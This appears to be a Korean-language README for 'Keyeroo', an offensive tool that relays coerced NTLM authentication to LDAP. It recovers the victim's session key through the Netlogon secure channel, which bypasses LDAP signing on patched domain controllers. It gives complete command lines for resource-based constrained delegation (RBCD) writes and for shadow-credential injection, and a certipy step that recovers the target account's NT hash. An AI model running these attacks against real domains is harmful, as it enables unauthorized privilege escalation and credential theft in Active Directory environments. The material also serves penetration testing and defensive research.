
LDAP로 강제 유도된 NTLM 인증을 릴레이하고, Netlogon 보안 채널을 통해 피해자의 세션 키를 복구하여 LDAP 서명을 우회함으로써 피해자 권한으로 쓰기 작업을 수행합니다.
강제 인증된 피해자의 NTLM 인증을 LDAP로 릴레이하고, 도메인 컨트롤러가 LDAP 서명을 요구하며 완전히 패치된 상태에서도 해당 피해자로서 작업을 실행합니다.
DC가 LDAP 서명을 요구하는 경우, 우리는 피해자의 세션 키를 알지 못하므로 NTLM을 LDAP로 릴레이할 수 없습니다. 이 세션 키는 바인드 이후 모든 LDAP 메시지의 서명 키이기 때문입니다. Switcheroo는 바인드와 작업을 우리 자신의 세션 키로 서명된 하나의 버퍼에 쌓아 이 문제를 우회했지만, 2026년 10월 업데이트에서 이 방식이 수정되었습니다. Keyeroo는 다른 경로를 택합니다. 우리가 가지고 있지 않은 세션 키를 우회하는 대신, 머신 계정 자격 증명을 사용해 Netlogon 보안 채널을 통해 피해자의 실제 세션 키를 복구한 다음, 그로부터 서명 키를 도출하여 피해자가 했을 방식대로 작업에 서명합니다.
LDAP Switcheroo 도구와 그 해설 문서 Signed, Sealed, and Relayed, NTLM-style: Bypassing LDAP Signing Through Reauthentication는 최초의 LDAP 서명 우회와 그 근본 원인을 다룹니다. Keyeroo는 2026년 10월 패치 이후 Switcheroo가 더 이상 처리하지 못하는 사례를 위한 후속 도구입니다.
핵심 아이디어는 DC가 우리 대신 사용자의 세션 키를 복구하도록 만드는 것입니다.
NetrLogonSamLogonWithFlags)을 이용해 검증합니다. DC가 우리 대신 이를 검증하고
피해자의 기본 키를 반환합니다. 여기서 우리는 NTLMv1-ESS 키 교환 키를 도출하고
피해자의 내보낸 세션 키를 복호화합니다.그 결과, 우리 자신의 LDAP 자격 증명이 전혀 없이도 강제 인증된 계정으로 LDAP 쓰기를 수행할 수 있습니다. 대상은 RBCD, shadow credentials, 또는 임의의 속성이 될 수 있습니다. Keyeroo는 Impacket의 ntlmrelayx.py를 감싸는 래퍼이며, 이를 대신 실행해 줍니다.
주의할 점은 이 방식이 피해자가 NTLMv1-ESS를 전송할 때만 동작한다는 것입니다. 즉
LmCompatibilityLevel이 2 이하이거나 구형 스택인 경우입니다. 최신 Windows는 기본적으로 NTLMv2를 사용하며,
Windows 11과 Server 2025는 NTLMv1을 완전히 제거했으므로 이는 레거시 경로입니다. 이러한 레거시가
여전히 존재하는 환경에서는 패치된 DC에서도 LDAP 서명을 통과할 수 있습니다.
-oracle-machine)에 사용됩니다. 기본 MachineAccountQuota에서는 모든 도메인
사용자가 하나를 생성할 수 있습니다.LmCompatibilityLevel <= 2이거나 레거시 소스인 경우.
기본적으로 최신 Windows는 NTLMv2를 전송하며(Windows 11 / Server 2025는 NTLMv1을 완전히 제거), 따라서 이
경로는 레거시에 의존합니다.-listen-ip로 인증하도록 강제 인증되어야 하며, 대상 객체(예: 자체
RBCD 속성)에 쓸 수 있는 권한이 있어야 합니다.sudo PYTHONPATH=/path/to/impacket python3 keyeroo.py \
'<DC.fqdn>' \
-dc-ip <DC_IP> \
-base-dn 'DC=example,DC=com' \
-domain 'example.com' \
-oracle-machine 'ATTACKERPC$' -oracle-password 'MachinePassw0rd!' \
-listen-ip <ATTACKER_IP> \
-victim 'EXAMPLE/VICTIM$' \
-modify-dn 'CN=VICTIM,CN=Computers,DC=example,DC=com' \
-rbcd-sid '<ATTACKER_COMPUTER_SID>' \
-ntlmrelayx /path/to/impacket/examples/ntlmrelayx.py
그런 다음 다른 터미널에서 피해자를 -listen-ip 쪽으로 유도합니다.
domain/user[:password]@를 붙이면 인증되며 읽기 확인 검사가 실행됩니다.-oracle-password <pw> 또는 -oracle-hashes [LM]:NT.-oracle-dc-ip는 Netlogon 보안 채널에 사용할 DC를 선택합니다(기본값은 -dc-ip).-rbcd-sid <SID>(RBCD), -shadow-credentials(Key Credential), 또는
-attribute와 함께 -value/-value-hex.-shadow-credentials)대상의 msDS-KeyCredentialLink에 Key Credential을 추가하고(LDAP add이므로 기존
키가 유지됨) PKINIT로 사용할 수 있는 PFX를 작성합니다:
sudo PYTHONPATH=... python3 keyeroo.py '<DC.fqdn>' \
-dc-ip <DC_IP> -base-dn 'DC=example,DC=com' -domain 'example.com' \
-oracle-machine 'ATTACKERPC$' -oracle-password 'MachinePassw0rd!' \
-listen-ip <ATTACKER_IP> -victim 'EXAMPLE/VICTIM$' \
-modify-dn 'CN=TARGET,CN=Computers,DC=example,DC=com' \
-shadow-credentials -pfx-out /tmp/sc -pfx-pass keyeroo \
-ntlmrelayx /path/to/impacket/examples/ntlmrelayx.py
그런 다음 대상의 NT 해시를 복구합니다(포리스트 PKINIT 필요, 즉 엔터프라이즈 CA / KDC 인증서):
certipy-ad auth -pfx /tmp/sc.pfx -password keyeroo -dc-ip <DC_IP> \
-domain example.com -username 'TARGET$'
이 모드에 특정한 요구 사항: 피해자가 -modify-dn에 대해 msDS-KeyCredentialLink를 쓸 수 있는 권한이 있어야 하며(피해자가 자신의 객체를 편집할 수 있는 경우 self-write가 작동함), 포리스트가 PKINIT를 지원해야 합니다. 이후 정리하십시오. 예:
certipy-ad shadow clear -u <admin>@<domain> -account 'TARGET$'.
Switcheroo는 피해자 Bind와 작업을 공격자의 세션 키로 서명된 하나의 레코드에 쌓습니다(2026년 10월 LDAP 패치로 고정됨). Keyeroo는 대신 피해자의 세션 키를 복구하므로, 작업은 피해자로서의 정상적인 서명 요청이 됩니다. 이는 (NTLMv1-ESS를 지원하는 피해자가 주어진 경우) 서명을 요구하도록 패치된 DC에 대해서도 여전히 유효합니다.